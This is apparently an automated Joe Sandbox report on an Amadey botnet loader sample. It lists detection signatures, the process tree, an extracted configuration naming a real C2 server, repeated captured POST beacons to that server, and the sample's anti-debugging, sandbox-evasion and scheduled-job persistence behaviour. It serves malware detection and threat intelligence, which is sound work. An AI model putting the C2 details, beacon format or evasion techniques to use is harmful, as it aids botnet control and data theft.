Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561633
MD5:	6d76634e0d5a3748dbb40ed91d91480a
SHA1:	70fa798c82153db02e218b3a7efa2f56f051cced
SHA256:	d99688821d8644f9e44764be9944c327abc3162866e51ad78a02dcdc25a08730
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 1548 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6D76634E0D5A3748DBB40ED91D91480A)

skotes.exe (PID: 3064 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6D76634E0D5A3748DBB40ED91D91480A)

skotes.exe (PID: 4864 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6D76634E0D5A3748DBB40ED91D91480A)

skotes.exe (PID: 5588 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6D76634E0D5A3748DBB40ED91D91480A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2234945312.0000000000D61000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2227793699.0000000000D61000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3378692573.0000000000D61000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2194651545.0000000005580000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2186521563.0000000004850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2797199366.00000000051D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2193715965.0000000000B41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2153521892.0000000005210000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.b40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.d60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.d60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.d60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T02:23:07.289907+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49852	185.215.113.43	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php15.113.43a

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000003.00000002.2234945312.0000000000D61000.00000040.00000001.01000000.00000007.sdmp

Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Virustotal: Detection: 54%			Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49852 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 35 32 44 37 32 42 35 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB52D72B55182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View

IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00D6BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00D6BE30

Source: unknown

HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php&
Source: skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php-
Source: skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php15.113.43a
Source: skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4
Source: skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php8
Source: skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php:
Source: skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php;
Source: skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpD
Source: skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpH
Source: skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpL
Source: skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpl
Source: skotes.exe, 00000006.00000002.3380064228.0000000001438000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn
Source: skotes.exe, 00000006.00000002.3380064228.0000000001497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00DA78BB	6_2_00DA78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00DA7049	6_2_00DA7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00DA8860	6_2_00DA8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D64DE0	6_2_00D64DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00DA31A8	6_2_00DA31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00DA2D10	6_2_00DA2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D6E530	6_2_00D6E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00DA779B	6_2_00DA779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D64B30	6_2_00D64B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D97F36	6_2_00D97F36

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: file.exe	Static PE information: Section: iaxkupqh ZLIB complexity 0.9948247839247639
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: skotes.exe.0.dr	Static PE information: Section: iaxkupqh ZLIB complexity 0.9948247839247639

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@0/1

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
